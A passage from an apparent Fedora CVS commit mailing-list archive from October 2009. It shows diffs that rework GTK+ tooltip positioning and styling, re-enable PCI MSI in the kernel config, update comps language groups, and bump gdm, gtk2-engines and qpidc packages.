-      gdk_window_get_origin (new_tooltip_widget->window, &x, &y);
-      if (GTK_WIDGET_NO_WINDOW (new_tooltip_widget))
+      if (tooltip->keyboard_mode_enabled)
+        goto found;
+
+      if (y <= tooltip->last_y + cursor_size + MAX_DISTANCE)
         {
-	  x += new_tooltip_widget->allocation.x;
-	  y += new_tooltip_widget->allocation.y;
-	}
+          if (tooltip->last_x + cursor_size + MAX_DISTANCE < x)
+            x = tooltip->last_x + cursor_size + MAX_DISTANCE;
+          else if (x + requisition.width < tooltip->last_x - MAX_DISTANCE)
+            x = tooltip->last_x - MAX_DISTANCE - requisition.width;
 
-      /* For keyboard mode we position the tooltip below the widget,
-       * right of the center of the widget.
-       */
-      x += new_tooltip_widget->allocation.width / 2;
-      y += new_tooltip_widget->allocation.height + 4;
+          goto found;
+        }
+   }
+
+  /* Try above */
+  x = wx + new_tooltip_widget->allocation.width / 2 - requisition.width / 2;
+  y = wy - requisition.height - 4;
+
+  if (y >= monitor.y)
+    {
+      if (tooltip->keyboard_mode_enabled)
+        goto found;
+
+      if (y + requisition.height >= tooltip->last_y - MAX_DISTANCE)
+        {
+          if (tooltip->last_x + cursor_size + MAX_DISTANCE < x)
+            x = tooltip->last_x + cursor_size + MAX_DISTANCE;
+          else if (x + requisition.width < tooltip->last_x - MAX_DISTANCE)
+            x = tooltip->last_x - MAX_DISTANCE - requisition.width;
+
+          goto found;
+        }
     }
-  else
+
+  /* Try right FIXME: flip on rtl ? */
+  x = wx + new_tooltip_widget->allocation.width + 4;
+  y = wy + new_tooltip_widget->allocation.height / 2 - requisition.height / 2;
+
+  if (x + requisition.width <= monitor.x + monitor.width)
     {
-      guint cursor_size;
+      if (tooltip->keyboard_mode_enabled)
+        goto found;
 
-      x = tooltip->last_x;
-      y = tooltip->last_y;
+      if (x <= tooltip->last_x + cursor_size + MAX_DISTANCE)
+        {
+          if (tooltip->last_y + cursor_size + MAX_DISTANCE < y)
+            y = tooltip->last_y + cursor_size + MAX_DISTANCE;
+          else if (y + requisition.height < tooltip->last_y - MAX_DISTANCE)
+            y = tooltip->last_y - MAX_DISTANCE - requisition.height;
 
-      /* For mouse mode, we position the tooltip right of the cursor,
-       * a little below the cursor's center.
-       */
-      cursor_size = gdk_display_get_default_cursor_size (display);
-      x += cursor_size / 2;
-      y += cursor_size / 2;
+          goto found;
+        }
     }
 
-  screen = gtk_widget_get_screen (new_tooltip_widget);
+  /* Try left FIXME: flip on rtl ? */
+  x = wx - requisition.width - 4;
+  y = wy + new_tooltip_widget->allocation.height / 2 - requisition.height / 2;
 
-  /* Show it */
-  if (tooltip->current_window)
+  if (x >= monitor.x)
     {
-      gint monitor_num;
-      GdkRectangle monitor;
-      GtkRequisition requisition;
+      if (tooltip->keyboard_mode_enabled)
+        goto found;
 
-      gtk_widget_size_request (GTK_WIDGET (tooltip->current_window),
-                               &requisition);
+      if (x + requisition.width >= tooltip->last_x - MAX_DISTANCE)
+        {
+          if (tooltip->last_y + cursor_size + MAX_DISTANCE < y)
+            y = tooltip->last_y + cursor_size + MAX_DISTANCE;
+          else if (y + requisition.height < tooltip->last_y - MAX_DISTANCE)
+            y = tooltip->last_y - MAX_DISTANCE - requisition.height;
 
-      monitor_num = gdk_screen_get_monitor_at_point (screen, x, y);
-      gdk_screen_get_monitor_geometry (screen, monitor_num, &monitor);
+          goto found;
+        }
+    }
 
+  /* Fallback */
+  if (tooltip->keyboard_mode_enabled)
+    {
+      x = wx + new_tooltip_widget->allocation.width / 2 - requisition.width / 2;
+      y = wy + new_tooltip_widget->allocation.height + 4;
+    }
+  else
+    {
+      /* At cursor */
+      x = tooltip->last_x + cursor_size * 3 / 4;
+      y = tooltip->last_y + cursor_size * 3 / 4;
+    }
+
+found:
+  /* Show it */
+  if (tooltip->current_window)
+    {
       if (x + requisition.width > monitor.x + monitor.width)
         x -= x - (monitor.x + monitor.width) + requisition.width;
       else if (x < monitor.x)
@@ -1081,7 +1158,9 @@ gtk_tooltip_position (GtkTooltip *toolti
 
       if (y + requisition.height > monitor.y + monitor.height)
         y -= y - (monitor.y + monitor.height) + requisition.height;
-  
+      else if (y < monitor.y)
+        y = monitor.y;
+
       if (!tooltip->keyboard_mode_enabled)
         {
           /* don't pop up under the pointer */
@@ -1089,7 +1168,7 @@ gtk_tooltip_position (GtkTooltip *toolti
               y <= tooltip->last_y && tooltip->last_y < y + requisition.height)
             y = tooltip->last_y - requisition.height - 2;
         }
-  
+
       gtk_window_move (GTK_WINDOW (tooltip->current_window), x, y);
       gtk_widget_show (GTK_WIDGET (tooltip->current_window));
     }

fresh-tooltips.patch:
 gtktooltip.c |  254 ++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 gtkwidget.c  |    8 +
 2 files changed, 243 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- fresh-tooltips.patch	21 Oct 2009 21:07:22 -0000	1.3
+++ fresh-tooltips.patch	23 Oct 2009 21:25:41 -0000	1.4
@@ -1,6 +1,6 @@
 diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
 --- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
-+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-21 16:46:25.035809299 -0400
++++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-23 17:18:46.556129731 -0400
 @@ -95,6 +95,7 @@ static void       gtk_tooltip_display_cl
  						    GtkTooltip      *tooltip);
  static void       gtk_tooltip_set_last_window      (GtkTooltip      *tooltip,
@@ -9,7 +9,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
  
  G_DEFINE_TYPE (GtkTooltip, gtk_tooltip, G_TYPE_OBJECT);
-@@ -110,8 +111,18 @@ gtk_tooltip_class_init (GtkTooltipClass 
+@@ -110,8 +111,25 @@ gtk_tooltip_class_init (GtkTooltipClass 
  }
  
  static void
@@ -20,6 +20,13 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +}
 +
 +static void
++on_realized (GtkWidget  *window,
++             GtkTooltip *tooltip)
++{
++  update_shape (tooltip);
++}
++
++static void
  gtk_tooltip_init (GtkTooltip *tooltip)
  {
 +  GdkScreen *screen;
@@ -28,7 +35,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    tooltip->timeout_id = 0;
    tooltip->browse_mode_timeout_id = 0;
  
-@@ -127,8 +138,15 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -127,8 +145,15 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    tooltip->last_window = NULL;
  
    tooltip->window = g_object_ref (gtk_window_new (GTK_WINDOW_POPUP));
@@ -44,7 +51,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    gtk_widget_set_app_paintable (tooltip->window, TRUE);
    gtk_window_set_resizable (GTK_WINDOW (tooltip->window), FALSE);
    gtk_widget_set_name (tooltip->window, "gtk-tooltip");
-@@ -145,7 +163,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -145,7 +170,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    gtk_widget_show (tooltip->alignment);
  
    g_signal_connect_swapped (tooltip->window, "style-set",
@@ -53,17 +60,19 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    g_signal_connect_swapped (tooltip->window, "expose-event",
  			    G_CALLBACK (gtk_tooltip_paint_window), tooltip);
  
-@@ -162,6 +180,9 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -162,6 +187,11 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    gtk_box_pack_start (GTK_BOX (tooltip->box), tooltip->label,
  		      FALSE, FALSE, 0);
  
 +  g_signal_connect (tooltip->window, "composited-changed",
 +                    G_CALLBACK (on_composited_changed), tooltip);
++  g_signal_connect (tooltip->window, "realize",
++                    G_CALLBACK (on_realized), tooltip);
 +
    tooltip->custom_widget = NULL;
  }
  
-@@ -318,9 +339,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
+@@ -318,9 +348,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
   * Since: 2.14
   */
  void
@@ -76,7 +85,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  {
    g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
  
-@@ -471,27 +492,184 @@ static void
+@@ -471,27 +501,213 @@ static void
  gtk_tooltip_window_style_set (GtkTooltip *tooltip)
  {
    gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
@@ -190,6 +199,15 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  GdkBitmap *mask;
 +  cairo_t *cr;
 +  gint width, height;
++  gboolean new_style;
++
++  gtk_widget_style_get (tooltip->window, "new-tooltip-style", &new_style, NULL);
++
++  if (!new_style)
++    {
++      gtk_widget_shape_combine_mask (tooltip->window, NULL, 0, 0);
++     return;
++    }
 +
 +  gtk_window_get_size (GTK_WINDOW (tooltip->window), &width, &height);
 +
@@ -250,32 +268,52 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 -		      0, 0,
 -		      tooltip->window->allocation.width,
 -		      tooltip->window->allocation.height);
-+  cairo_t         *context;
-+  cairo_surface_t *surface;
-+  cairo_t         *cr;
-+
-+  context = gdk_cairo_create (tooltip->window->window);
-+
-+  cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
-+  surface = cairo_surface_create_similar (cairo_get_target (context),
-+                                          CAIRO_CONTENT_COLOR_ALPHA,
-+                                          tooltip->window->allocation.width,
-+                                          tooltip->window->allocation.height);
-+  cr = cairo_create (surface);
++  gboolean new_style;
 +
-+  fill_background (tooltip->window, cr);
++  gtk_widget_style_get (tooltip->window, "new-tooltip-style", &new_style, NULL);
 +
-+  cairo_destroy (cr);
-+  cairo_set_source_surface (context, surface, 0, 0);
-+  cairo_paint (context);
-+  cairo_surface_destroy (surface);
-+  cairo_destroy (context);
++  if (new_style)
++    {
++      cairo_t         *context;
++      cairo_surface_t *surface;
++      cairo_t         *cr;
++
++      context = gdk_cairo_create (tooltip->window->window);
++
++      cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
++      surface = cairo_surface_create_similar (cairo_get_target (context),
++                                              CAIRO_CONTENT_COLOR_ALPHA,
++                                              tooltip->window->allocation.width,
++                                              tooltip->window->allocation.height);
++      cr = cairo_create (surface);
++
++      fill_background (tooltip->window, cr);
++
++      cairo_destroy (cr);
++      cairo_set_source_surface (context, surface, 0, 0);
++      cairo_paint (context);
++      cairo_surface_destroy (surface);
++      cairo_destroy (context);
 +
-+  update_shape (tooltip);
++      update_shape (tooltip);
++    }
++  else
++    {
++      gtk_paint_flat_box (tooltip->window->style,
++                          tooltip->window->window,
++                          GTK_STATE_NORMAL,
++                          GTK_SHADOW_OUT,
++                          NULL,
++                          tooltip->window,
++                          "tooltip",
++                          0, 0,
++                          tooltip->window->allocation.width,
++                          tooltip->window->allocation.height);
++    }
  
    return FALSE;
  }
-@@ -631,7 +809,7 @@ find_widget_under_pointer (GdkWindow *wi
+@@ -631,7 +847,7 @@ find_widget_under_pointer (GdkWindow *wi
  
  #ifdef DEBUG_TOOLTIP
    g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",
@@ -284,3 +322,21 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  	   *x, *y);
  #endif
  
+diff -up gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips gtk+-2.18.3/gtk/gtkwidget.c
+--- gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips	2009-10-23 17:15:46.311135255 -0400
++++ gtk+-2.18.3/gtk/gtkwidget.c	2009-10-23 17:16:11.050128828 -0400
+@@ -2386,6 +2386,14 @@ gtk_widget_class_init (GtkWidgetClass *k
+                                                              P_("The length of vertical scroll arrows"),
+                                                              1, G_MAXINT, 16,
+                                                              GTK_PARAM_READABLE));
++
++  gtk_widget_class_install_style_property (klass,
++                                           g_param_spec_boolean ("new-tooltip-style",
++                                                                 NULL,
++                                                                 NULL,
++                                                                 FALSE,
++                                                                 GTK_PARAM_READABLE));
++
+ }
+ 
+ static void


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.421
retrieving revision 1.422
diff -u -p -r1.421 -r1.422
--- gtk2.spec	23 Oct 2009 01:28:28 -0000	1.421
+++ gtk2.spec	23 Oct 2009 21:25:42 -0000	1.422
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -37,6 +37,7 @@ Patch4: fresh-tooltips.patch
 Patch5: zerosize.patch
 Patch6: compose-sequences.patch
 Patch7: symbolic-color-parsing.patch
+Patch8: tooltip-positioning.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -155,6 +156,7 @@ This package contains developer document
 %patch5 -p1 -b .zerosize
 %patch6 -p1 -b .compose-sequences
 %patch7 -p1 -b .symbolic-color-parsing
+%patch8 -p1 -b .tooltip-positioning
 
 %build
 libtoolize --force --copy
@@ -391,6 +393,10 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-10
+- Tweak tooltip positioning
+- Make new tooltip style an opt-in theme choice
+
 * Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-9
 - Fix a problem with parsing symbolic colors in rc files (#528662)
 



From airlied at fedoraproject.org  Fri Oct 23 21:29:19 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri, 23 Oct 2009 21:29:19 +0000 (UTC)
Subject: rpms/kernel/F-12 Makefile, 1.110, 1.111 config-generic, 1.328,
	1.329 kernel.spec, 1.1880, 1.1881
Message-ID: <20091023212919.3095D11C01EA@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18695

Modified Files:
	Makefile config-generic kernel.spec 
Log Message:
* Fri Oct 23 2009 Dave Airlie <airlied at redhat.com. 2.6.31.5-95
- re enable MSI



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/Makefile,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- Makefile	14 Oct 2009 00:12:13 -0000	1.110
+++ Makefile	23 Oct 2009 21:29:18 -0000	1.111
@@ -73,7 +73,6 @@ debug:
 	@perl -pi -e 's/# CONFIG_DMA_API_DEBUG is not set/CONFIG_DMA_API_DEBUG=y/' config-nodebug
 	@perl -pi -e 's/# CONFIG_PM_TEST_SUSPEND is not set/CONFIG_PM_TEST_SUSPEND=y/' config-generic
 	@perl -pi -e 's/# CONFIG_BOOT_TRACER is not set/CONFIG_BOOT_TRACER=y/' config-generic
-	@perl -pi -e 's/# CONFIG_PCI_MSI_DEFAULT_ON is not set/CONFIG_PCI_MSI_DEFAULT_ON=y/' config-generic
 	@perl -pi -e 's/# CONFIG_B43_DEBUG is not set/CONFIG_B43_DEBUG=y/' config-generic
 	@perl -pi -e 's/# CONFIG_B43LEGACY_DEBUG is not set/CONFIG_B43LEGACY_DEBUG=y/' config-generic
 	@perl -pi -e 's/# CONFIG_MMIOTRACE is not set/CONFIG_MMIOTRACE=y/' config-nodebug


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-generic,v
retrieving revision 1.328
retrieving revision 1.329
diff -u -p -r1.328 -r1.329
--- config-generic	23 Oct 2009 21:07:59 -0000	1.328
+++ config-generic	23 Oct 2009 21:29:18 -0000	1.329
@@ -81,7 +81,7 @@ CONFIG_PCI_STUB=y
 CONFIG_PCI_IOV=y
 CONFIG_HT_IRQ=y
 CONFIG_PCI_MSI=y
-# CONFIG_PCI_MSI_DEFAULT_ON is not set
+CONFIG_PCI_MSI_DEFAULT_ON=y
 CONFIG_PCIEPORTBUS=y
 CONFIG_PCIEAER=y
 CONFIG_PCIEASPM=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1880
retrieving revision 1.1881
diff -u -p -r1.1880 -r1.1881
--- kernel.spec	23 Oct 2009 21:08:00 -0000	1.1880
+++ kernel.spec	23 Oct 2009 21:29:18 -0000	1.1881
@@ -2084,6 +2084,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 23 2009 Dave Airlie <airlied at redhat.com. 2.6.31.5-95
+- re enable MSI
+
 * Fri Oct 23 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-94
 - disable debug + stackprotector
 



From rdieter at fedoraproject.org  Fri Oct 23 21:32:12 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 23 Oct 2009 21:32:12 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.171,1.172 comps-f13.xml.in,1.57,1.58
Message-ID: <20091023213212.C1ED211C01EA@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20439

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
add poppler-data to a few more lang-support groups (see bug #523038)



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.171
retrieving revision 1.172
diff -u -p -r1.171 -r1.172
--- comps-f12.xml.in	23 Oct 2009 16:16:01 -0000	1.171
+++ comps-f12.xml.in	23 Oct 2009 21:32:12 -0000	1.172
@@ -3401,6 +3401,7 @@
       <packagereq type="conditional" requires="moodle">moodle-ja</packagereq>
       <packagereq type="conditional" requires="nqc-doc">nqc-doc-ja</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-ja_JP</packagereq>
+      <packagereq type="conditional" requires="poppler">poppler-data</packagereq>
       <packagereq type="conditional" requires="tkgate">tkgate-ja</packagereq>
       <packagereq type="conditional" requires="uim">uim-anthy</packagereq>
       <packagereq type="default">vlgothic-fonts</packagereq>
@@ -3860,6 +3861,7 @@
       <packagereq type="conditional" requires="man-pages">man-pages-ko</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-ko</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-ko_KR</packagereq>
+      <packagereq type="conditional" requires="poppler">poppler-data</packagereq>
       <packagereq type="default">un-core-batang-fonts</packagereq>
       <packagereq type="default">un-core-dinaru-fonts</packagereq>
       <packagereq type="default">un-core-dotum-fonts</packagereq>
@@ -5736,6 +5738,7 @@
       <packagereq type="conditional" requires="moodle">moodle-th</packagereq>
       <packagereq type="conditional" requires="nqc-doc">nqc-doc-th</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-th_TH</packagereq>
+      <packagereq type="conditional" requires="poppler">poppler-data</packagereq>
       <packagereq type="default">thai-scalable-garuda-fonts</packagereq>
       <packagereq type="default">thai-scalable-kinnari-fonts</packagereq>
       <packagereq type="default">thai-scalable-loma-fonts</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- comps-f13.xml.in	23 Oct 2009 16:16:01 -0000	1.57
+++ comps-f13.xml.in	23 Oct 2009 21:32:12 -0000	1.58
@@ -3378,6 +3378,7 @@
       <packagereq type="conditional" requires="moodle">moodle-ja</packagereq>
       <packagereq type="conditional" requires="nqc-doc">nqc-doc-ja</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-ja_JP</packagereq>
+      <packagereq type="conditional" requires="poppler">poppler-data</packagereq>
       <packagereq type="conditional" requires="tkgate">tkgate-ja</packagereq>
       <packagereq type="conditional" requires="uim">uim-anthy</packagereq>
       <packagereq type="default">ipa-gothic-fonts</packagereq>
@@ -3839,6 +3840,7 @@
       <packagereq type="conditional" requires="man-pages">man-pages-ko</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-ko</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-ko_KR</packagereq>
+      <packagereq type="conditional" requires="poppler">poppler-data</packagereq>
       <packagereq type="default">un-core-batang-fonts</packagereq>
       <packagereq type="default">un-core-dinaru-fonts</packagereq>
       <packagereq type="default">un-core-dotum-fonts</packagereq>
@@ -5697,6 +5699,7 @@
       <packagereq type="conditional" requires="moodle">moodle-th</packagereq>
       <packagereq type="conditional" requires="nqc-doc">nqc-doc-th</packagereq>
       <packagereq type="conditional" requires="openoffice.org-core">openoffice.org-langpack-th_TH</packagereq>
+      <packagereq type="conditional" requires="poppler">poppler-data</packagereq>
       <packagereq type="default">thai-scalable-garuda-fonts</packagereq>
       <packagereq type="default">thai-scalable-kinnari-fonts</packagereq>
       <packagereq type="default">thai-scalable-loma-fonts</packagereq>



From mclasen at fedoraproject.org  Fri Oct 23 21:33:04 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 23 Oct 2009 21:33:04 +0000 (UTC)
Subject: rpms/gtk2-engines/F-12 gtk2-engines.spec, 1.119,
	1.120 tooltips.patch, 1.2, 1.3
Message-ID: <20091023213304.B8BBD11C01EA@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2-engines/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20916

Modified Files:
	gtk2-engines.spec tooltips.patch 
Log Message:
Opt-in to new tooltips style



Index: gtk2-engines.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2-engines/F-12/gtk2-engines.spec,v
retrieving revision 1.119
retrieving revision 1.120
diff -u -p -r1.119 -r1.120
--- gtk2-engines.spec	21 Oct 2009 14:30:14 -0000	1.119
+++ gtk2-engines.spec	23 Oct 2009 21:33:04 -0000	1.120
@@ -1,7 +1,7 @@
 Summary:        Theme engines for GTK+ 2.0
 Name:           gtk2-engines
 Version:        2.18.4
-Release:	3%{?dist}
+Release:	4%{?dist}
 # for details on which engines are GPL vs LGPL, see COPYING
 License:        LGPLv2+
 Group:          System Environment/Libraries
@@ -84,6 +84,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/gtk-engines-2.pc
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.4-4
+- Make Clearlooks opt-in to new tooltips style
+
 * Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.4-3
 - Tweak tooltip appearance
 

tooltips.patch:
 gtkrc |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

Index: tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2-engines/F-12/tooltips.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tooltips.patch	21 Oct 2009 14:30:14 -0000	1.2
+++ tooltips.patch	23 Oct 2009 21:33:04 -0000	1.3
@@ -1,6 +1,6 @@
 diff -up gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc.tooltips gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc
---- gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc.tooltips	2009-10-20 01:32:51.983815244 -0400
-+++ gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc	2009-10-20 01:33:54.959815965 -0400
+--- gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc.tooltips	2009-10-23 17:28:48.131886076 -0400
++++ gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc	2009-10-23 17:29:58.968890361 -0400
 @@ -1,7 +1,7 @@
  
  # Please keep this gtkrc in sync with the other ones from Clearlooks based themes.
@@ -10,7 +10,7 @@ diff -up gtk-engines-2.18.4/themes/Clear
  
  style "default" {
  	xthickness = 1
-@@ -276,7 +276,7 @@ style "treeview_header" = "default" {
+@@ -276,9 +276,11 @@ style "treeview_header" = "default" {
  }
  
  style "tooltips" {
@@ -18,4 +18,8 @@ diff -up gtk-engines-2.18.4/themes/Clear
 +	xthickness = 8
  	ythickness = 4
  
++	GtkWidget::new-tooltip-style = 1
++
  	bg[NORMAL]        = @tooltip_bg_color
+ 	fg[NORMAL]        = @tooltip_fg_color
+ }



From rstrode at fedoraproject.org  Fri Oct 23 21:55:58 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 23 Oct 2009 21:55:58 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm.spec,1.501,1.502
Message-ID: <20091023215558.CADF011C01EA@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30355

Modified Files:
	gdm.spec 
Log Message:
- Show Other user even when there are no other users
  (bug 527920)



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.501
retrieving revision 1.502
diff -u -p -r1.501 -r1.502
--- gdm.spec	23 Oct 2009 20:22:23 -0000	1.501
+++ gdm.spec	23 Oct 2009 21:55:54 -0000	1.502
@@ -405,6 +405,10 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-7
+- Show Other user even when there are no other users
+  (bug 527920)
+
 * Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-6
 - Properly read default keyboard layout (bug 530452)
 



From rstrode at fedoraproject.org  Fri Oct 23 21:56:37 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 23 Oct 2009 21:56:37 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm.spec,1.502,1.503
Message-ID: <20091023215637.CC84C11C01EA@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30742

Modified Files:
	gdm.spec 
Log Message:
rev release



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.502
retrieving revision 1.503
diff -u -p -r1.502 -r1.503
--- gdm.spec	23 Oct 2009 21:55:54 -0000	1.502
+++ gdm.spec	23 Oct 2009 21:56:37 -0000	1.503
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X



From nsantos at fedoraproject.org  Fri Oct 23 22:01:23 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 22:01:23 +0000 (UTC)
Subject: rpms/qpidc/F-12 qpidc.spec,1.105,1.106 sources,1.48,1.49
Message-ID: <20091023220123.9A9E111C0266@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32193

Modified Files:
	qpidc.spec sources 
Log Message:
Rebased to svn rev 829175


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/qpidc.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- qpidc.spec	16 Oct 2009 13:14:24 -0000	1.105
+++ qpidc.spec	23 Oct 2009 22:01:21 -0000	1.106
@@ -7,8 +7,8 @@
 %{!?ruby_sitelib: %define ruby_sitelib %(ruby -rrbconfig  -e 'puts Config::CONFIG["sitelibdir"]')}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
-%define qpid_svnrev 825677
-%define rhm_svnrev 3670
+%define qpid_svnrev 829175
+%define rhm_svnrev 3684
 
 Name:           qpidc
 Version:        0.5.%{qpid_svnrev}
@@ -519,6 +519,9 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
+* Fri Oct 23 2009 Nuno Santos <nsantos at redhat.com> - 0.5.829175-1
+- Rebased to svn rev 829175
+
 * Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825677-1
 - Rebased to svn rev 825677
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	15 Oct 2009 22:10:09 -0000	1.48
+++ sources	23 Oct 2009 22:01:22 -0000	1.49
@@ -1,2 +1,2 @@
-8d72760c6dac5205d6a89911fce95f03  qpidc-0.5.825677.tar.gz
-7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz
+38777aa2e3e9597111423213a879cb73  qpidc-0.5.829175.tar.gz
+18b1134366efd0e22ac87d0dcd423443  rhm-0.5.3684.tar.gz



From bpepple at fedoraproject.org  Fri Oct 23 22:23:50 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri, 23 Oct 2009 22:23:50 +0000 (UTC)
Subject: rpms/telepathy-farsight/F-12 .cvsignore, 1.8, 1.9 sources, 1.8,
	1.9 telepathy-farsight.spec, 1.10, 1.11
